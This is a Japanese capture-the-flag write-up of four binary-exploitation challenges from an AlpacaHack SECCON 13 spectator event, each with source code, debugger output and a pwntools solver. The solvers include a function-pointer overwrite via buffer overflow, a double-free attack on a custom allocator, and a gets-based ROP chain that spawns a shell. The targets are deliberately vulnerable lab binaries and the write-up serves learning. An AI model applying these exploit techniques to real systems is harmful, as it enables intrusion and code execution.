AlpacaHack SECCON CTF 13 決勝観戦CTF WriteUP
danger of buffer overflow
配布されるバイナリのソースコード
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
void print_flag() {
char flag[256];
int fd = open("./flag.txt", O_RDONLY);
if (fd < 0) { puts("./flag.txt not found"); return; }
write(1, flag, read(fd, flag, sizeof(flag)));
}
void bye() {
puts("bye!");
}
int main() {
setbuf(stdout, NULL);
char buf[8];
void (*funcptr)() = bye;
printf("address of print_flag func: %p\n", print_flag);
printf("gets to buf: ");
gets(buf);
printf("content of funcptr: %p\n", funcptr);
funcptr();
return 0;
}
問題文の通り、buffer overflowがあります。
以下の箇所で関数ポインタfuncptrをスタックに格納し、main+146で実行しています。
0x00000000004041d4 <+32>: lea rax,[rip+0xffffffffffffffbf] # 0x40419a <bye>
0x00000000004041db <+39>: mov QWORD PTR [rbp-0x8],rax
--
0x0000000000404246 <+146>: call rdx
gets関数では標準入力から変数bufに値を入れていますが、確保した8byteより多くの入力をすることでfuncptrを上書きが可能です。
gets関数呼び出し直後のスタックは以下の通りです。
pwndbg> stack
00:0000│ rax rsp 0x7fffffffddf0 ◂— 0x62626261616161 /* 'aaaabbb' */
01:0008│-008 0x7fffffffddf8 —▸ 0x40419a (bye) ◂— endbr64
02:0010│ rbp 0x7fffffffde00 ◂— 0x1
bufの直下にfuncptrがあるので、bufを適当な値で埋めた後にfuncptrをprint_flag関数のアドレスで上書きすればFlagが落ちてきます。
以下ソルバーです。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
exe = "./buffer-overflow"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"
io = start()
payload = flat(
b"a"*8,
elf.sym["print_flag"]
)
io.sendline(payload)
io.interactive()
play with memory
問題のソースコードは以下の通りです。
入力値を数値12345と比較し、真ならFlagです。
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
void print_flag() {
char flag[256];
int fd = open("./flag.txt", O_RDONLY);
if (fd < 0) { puts("./flag.txt not found"); return; }
write(1, flag, read(fd, flag, sizeof(flag)));
}
int main() {
setbuf(stdout, NULL);
int number = 0;
printf("input your number!: ");
scanf("%4s", &number);
if (number == 12345) {
print_flag();
} else {
printf("number: %d (0x%x)", number, number);
}
return 0;
}
以下の箇所で入力を受け付けますが書式文字列には”%4s”を設定しているので、4文字まで入力を受け付けます。
scanf("%4s", &number);
そもそも5文字入力できない上に、1234のような数値を入力しても文字列型で受け取られるため、0x34333231のような値として評価されてしまいます。
ディスアセンブルを見てみると、main+89で0x3039と比較しています。
0x00000000004012a5 <+59>: lea rax,[rbp-0x4]
0x00000000004012a9 <+63>: mov rsi,rax
0x00000000004012ac <+66>: lea rax,[rip+0xd86] # 0x402039
0x00000000004012b3 <+73>: mov rdi,rax
0x00000000004012b6 <+76>: mov eax,0x0
0x00000000004012bb <+81>: call 0x401100 <__isoc99_scanf@plt>
0x00000000004012c0 <+86>: mov eax,DWORD PTR [rbp-0x4]
0x00000000004012c3 <+89>: cmp eax,0x3039
0x3039は10進数で12345なので、この命令で比較していることを確認できます。
あとは0x3039に対応するような文字列を、リトルエンディアンに注意しつつ入力すればクリアです。
input your number!: 90
Alpaca{l1ttl3_end1an_1s_qu1t3_h4rd_t0_us3d_t0}
Can U Keep A Secret?
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <unistd.h>
int main() {
srand(time(NULL));
unsigned int secret = rand(), input;
printf("secret: %u\n", secret);
// can u keep a secret??/
secret *= rand();
secret *= 0x5EC12E7;
scanf("%u", &input);
if(input == secret)
printf("Alpaca{REDACTED}\n");
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
入力値がSecretと一致したらクリアな問題でした。
secretはrand()で生成されますが、printされるのでこれを使って同じ値を送ればよいです。
RDI 0x555555556004 ◂— 'secret: %u\n'
RSI 0x4b5b29c5
► 0x555555555291 <main+72> call 0x5555555550f0 <0x5555555550f0>
secretは以下の箇所で計算されます。randで生成された値と固定値0x5ec12e7を乗算しています。
=> 0x0000555555555296 <+77>: mov eax,DWORD PTR [rbp-0xc]
0x0000555555555299 <+80>: imul eax,eax,0x5ec12e7
0x000055555555529f <+86>: mov DWORD PTR [rbp-0xc],eax
0x00005555555552a2 <+89>: lea rax,[rbp-0x10]
0x00005555555552a6 <+93>: mov rsi,rax
0x00005555555552a9 <+96>: lea rax,[rip+0xd60] # 0x555555556010
0x00005555555552b0 <+103>: mov rdi,rax
0x00005555555552b3 <+106>: mov eax,0x0
※ *=rand()はどこにいったのかわかってないです
※自分の環境で同一ソースをコンパイルしたら *=rand()があったので謎…くやしい
ともあれ、いったんはディスアセンブルを信じてみることとします。
printされるsecretを受け取り、0x5ec12e7と乗算して送り返すようなプログラムを書いて実行したところFlagをもらえました。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
gdbscript = '''
continue
'''.format(**locals())
exe = "./challenge"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"
io = start()
io.recvuntil(b"secret: ")
secret = int(io.recvline().strip())
secret *= 0x5EC12E7
secret = str(secret).encode()
io.sendline(secret)
io.interactive()
#Alpaca{u_r_pwn_h3r0}
cache crasher
#include <stddef.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#define MAX_ALLOC 0x10
union chunk {
union chunk* next_chunk;
size_t val;
};
size_t alloced = 0;
union chunk buf[MAX_ALLOC];
union chunk* cache = NULL;
union chunk* allocate() {
size_t a = sizeof(union chunk);
union chunk* res;
if (cache != NULL) {
res = cache;
cache = res->next_chunk;
}
else {
if (MAX_ALLOC <= alloced) return NULL; // buf exhausted
res = &buf[alloced];
alloced++;
}
return res;
}
void free_chunk(union chunk* ptr) {
ptr->next_chunk = cache;
cache = ptr;
}
void print_flag() {
char flag[256];
int fd = open("./flag.txt", O_RDONLY);
if (fd < 0) { puts("./flag.txt not found"); return; }
write(1, flag, read(fd, flag, sizeof(flag)));
}
void dump_info() { // You don't need to read this function!
printf("Cache:\n");
union chunk* current = cache; int limit = 5;
while (buf <= current && current < &buf[MAX_ALLOC]) {
printf("%p -> ", (void*)current);
current = current->next_chunk;
if (--limit == 0) { printf("...\n"); break; }
}
if (limit != 0) printf("%p\n", (void*)current);
printf("Buffer:\n");
for (size_t i = 0; i < alloced; i++) printf("buf[%zu]: %p (val: 0x%lx)\n", i, (void*)&buf[i], buf[i].val);
}
void (*funcptr)() = dump_info;
#define ALLOC 0
#define FREE 1
int main() {
setbuf(stdout, NULL);
printf("address of print_flag: %p\n", print_flag);
printf("address of funcptr: %p\n", &funcptr);
int i = 0;
union chunk* s[MAX_ALLOC];
int opcode;
while (1) {
printf("opcode(0: alloc, 1: free): ");
if (scanf("%d", &opcode) == EOF) break;
if (opcode == ALLOC) {
size_t val;
s[i] = allocate();
if (s[i] == NULL) { perror("allocate failed"); exit(1); }
printf("data(integer): ");
if (scanf("%zu", &val) == EOF) break;
s[i]->val = val;
i++;
}
else {
size_t ind;
printf("what index to free: ");
if (scanf("%zu", &ind) == EOF) break;
if (ind < 0 || i <= ind) { perror("invalid operand"); exit(1); }
free_chunk(s[ind]);
}
printf("content of funcptr: %p\n", funcptr);
funcptr();
}
}
heap入門っぽい問題でした。
tcacheを独自に実装しています。
関数ポインタfuncptrをprint_flag関数のアドレスに上書きできればクリアできそうです。
ある程度自由にallocate, freeが出来るのでこれを利用できそうです。
chunkの実装を見ます。chunkはリンクされたchunkへのポインタと、size_t型のvalを持ちます。
union chunk {
union chunk* next_chunk;
size_t val;
};
allocate関数は以下のようになっています。
union chunk* allocate() {
size_t a = sizeof(union chunk);
union chunk* res;
if (cache != NULL) {
res = cache;
cache = res->next_chunk;
}
else {
if (MAX_ALLOC <= alloced) return NULL; // buf exhausted
res = &buf[alloced];
alloced++;
}
return res;
}
cacheがNULL、allocedがMAX_ALLOC(0x10)以上でない場合にはchunkを返します。
cacheがある場合にはcacheの先頭のchunkを取り出し、next_chunkでcacheを更新します。
freeする際にはfree_chunk関数が利用されます。
引数のnext_chunkをcacheで更新し、cacheを引数のアドレスに更新します。
void free_chunk(union chunk* ptr) {
ptr->next_chunk = cache;
cache = ptr;
}
上記の仕様を上手く使ってflagを取得できないか試していきます。
適当な数のchunkを確保した後にfreeしていきます。
この時、同じchunkを複数回freeしたときに表示される画面は以下の通りです。
※このバイナリはdump_info関数で画面にchunkの情報を出力してくれます。
$ ./cache
address of print_flag: 0x40222e
address of funcptr: 0x405150
opcode(0: alloc, 1: free): 0
data(integer): 10
content of funcptr: 0x4022a2
Cache:
(nil)
Buffer:
buf[0]: 0x4051a0 (val: 0xa)
opcode(0: alloc, 1: free): 0
data(integer): 10
content of funcptr: 0x4022a2
Cache:
(nil)
Buffer:
buf[0]: 0x4051a0 (val: 0xa)
buf[1]: 0x4051a8 (val: 0xa)
opcode(0: alloc, 1: free): 1
what index to free: 1
content of funcptr: 0x4022a2
Cache:
0x4051a8 -> (nil)
Buffer:
buf[0]: 0x4051a0 (val: 0xa)
buf[1]: 0x4051a8 (val: 0x0)
opcode(0: alloc, 1: free): 1
what index to free: 0
content of funcptr: 0x4022a2
Cache:
0x4051a0 -> 0x4051a8 -> (nil)
Buffer:
buf[0]: 0x4051a0 (val: 0x4051a8)
buf[1]: 0x4051a8 (val: 0x0)
opcode(0: alloc, 1: free): 1
what index to free: 1
content of funcptr: 0x4022a2
Cache:
0x4051a8 -> 0x4051a0 -> 0x4051a8 -> 0x4051a0 -> 0x4051a8 -> ...
Buffer:
buf[0]: 0x4051a0 (val: 0x4051a8)
buf[1]: 0x4051a8 (val: 0x4051a0)
opcode(0: alloc, 1: free):
最後の操作で明らかにおかしな挙動になりました。
free_chunkをコールする直前、cacheにはchunk0 → chunk1となっていますが、
freeするchunkのnext_chunkをcacheで更新し、cacheをfreeするchunkで更新するため、このようなループになっているものと推察できます。
この状態でallocate関数を複数回コールしてみます。
opcode(0: alloc, 1: free): 0
data(integer): 10
content of funcptr: 0x4022a2
Cache:
0x4051a0 -> 0x4051a8 -> 0xa
Buffer:
buf[0]: 0x4051a0 (val: 0x4051a8)
buf[1]: 0x4051a8 (val: 0xa)
opcode(0: alloc, 1: free): 0
data(integer): 10
content of funcptr: 0x4022a2
Cache:
0x4051a8 -> 0xa
Buffer:
buf[0]: 0x4051a0 (val: 0xa)
buf[1]: 0x4051a8 (val: 0xa)
opcode(0: alloc, 1: free): 0
data(integer): 10
content of funcptr: 0x4022a2
Cache:
0xa
Buffer:
buf[0]: 0x4051a0 (val: 0xa)
buf[1]: 0x4051a8 (val: 0xa)
opcode(0: alloc, 1: free): 0
Segmentation fault (core dumped)
一度目のallocateではCacheに入力した10(0xa)がリンクされていることを確認できます。
そのままallocateしていくとセグメンテーションフォルトでキルされます。
上記の挙動を利用し、funcptrをCacheにリンクさせ、allocate後の書き込みでprint_flag関数のアドレスに上書きすることでFlagを獲得できます。
以下はソルバーです。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
gdbscript = '''
b *0x402186
continue
'''.format(**locals())
exe = "./cache"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"
def menu(io):
io.recvuntil(b"opcode(0: alloc, 1: free)")
def allocate(io,data):
menu(io)
io.sendline(b"0")
io.sendline(data)
def free(io,idx):
menu(io)
io.sendline(b"1")
io.sendlineafter(b"what index to free: ",idx)
io = start()
io.recvuntil(b"address of print_flag: ")
print_flag =io.recvline()[:-1].strip()
print_flag = int(print_flag,16)
io.recvuntil(b"address of funcptr: ")
funcptr = int(io.recvline()[:-1].strip(),16)
info("print_flag:%#x",print_flag)
info("funcptr: %#x",funcptr)
allocate(io,b"10")
allocate(io,b"10")
free(io,b"1")
free(io,b"0")
free(io,b"1")
allocate(io,str(funcptr).encode())
allocate(io,b"10")
allocate(io,b"10")
allocate(io,str(print_flag).encode())
io.interactive()
#Alpaca{ar1g4t0u_alloc4t0r}
Alpaca Wakekko
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
void wakekko() {
const char *word = "alpaca";
char ans[0x10];
int pos = rand() % (strlen(word) - 1) + 1;
printf("%.*s ", pos, word);
gets(ans);
if(strcmp(ans, word + pos) != 0) {
system("echo ':('\n");
exit(1);
}
}
int main() {
srand(time(NULL));
while(1)
wakekko();
return 0;
}
__attribute__((constructor)) void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
alarm(60);
}
BoF問です。ぱっと見gets関数があり、単純なBoFかと思いましたが、以下の部分で検閲がかかるので簡単にはいきません。
if(strcmp(ans, word + pos) != 0) {
system("echo ':('\n");
exit(1);
}
問題バイナリではalpacaという文字列の一部が出力されますが、それを補完する形で入力をしないとexitしてしまいます。
以下の方法でこれを回避し、BOFを起せました。
- alpaca\x00\x00を入力
- strcmpは\x00で終端とみなすため、かつ位置調整
- posを0で上書き
- wordを”alpaca”を指すポインタで上書き
- 適当なBufferを入れる
payload = flat(
b"alpaca"+b"\x00"*2,
b"A"*8,
p32(0),p32(0),
p64(0x402004),
b"B"*0x18,
b"C"*8
)
上記のペイロードを送ると、C*8でsaved ripを上書きできるのであとはROPなりでshellを取れれば…と思ったところで詰まりました。
バイナリ内でsystem関数をコールしているかつno-PIEなのでsystem関数自体のコールは可能です。
しかし、pop rdiなどのガジェットがないので引数の設定が出来ません。
printを呼んでなんらかのリークが出来るか、strcmp後にsystemを呼べるのでstrcmpでセットされる文字列ポインタ(alpaca)をどうにか/bin/shなどにして突破できないか。など考えましたがこれらはうまくいきませんでした。
secconの過去問であったgetsを使った引数の設定方法を思い出したので、それを使ったところ無事シェルを取れました。
方法は以下です。
まず、ROPでgetsを呼び出します。この際rdiにはスタックのアドレスが設定されています。
このアドレスは利用できないので、ここでは適当な値を入力します。
getsの処理が終わるとrdiには RDI 0x7fda36868a80 (_IO_stdfile_0_lock) ◂— 0x0
が設定されています。このアドレスは書き込み可能かつ、gets直後にrdiにこのアドレスが設定されることを利用します。
getsの処理中に一部の値を減算するような処理があるのでこれに注意しつつ、gets直後に/bin/shが書き込まれているような入力をします。これでRDIに”/bin/sh”を指すポインタを設定することに成功しました。
あとはrspを整えつつsystem関数をコールすればshellを実行できます。
以下ソルバーです。
from pwn import *
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
gdbscript = '''
b *wakekko
b *0x401302
b *wakekko+180
b *0x40101a
continue
'''.format(**locals())
exe = "./challenge"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"
io = start()
ret =0x000000000040101a
payload = flat(
b"alpaca"+b"\x00"*2,
b"A"*8,
p32(0),p32(0),
p64(0x402004),
b"B"*0x18,
ret,
elf.sym["gets"],
ret,
elf.sym["gets"],
ret,
elf.sym["system"],
b"C"*8
)
io.sendline(payload)
io.sendline("aaa")
io.sendline(b"/bin0sh\x00")
io.interactive()
#Alpaca{congra_______tulations}
感想
どの問題も楽しかったですが、特にcache_cracher, Alpaca Wakekkoはとても親切で面白いなーと思いました。
オフライン参加でモチベも上がったので今年こそは精進したいですね(何回言ったかわかりませんが。)
Discussion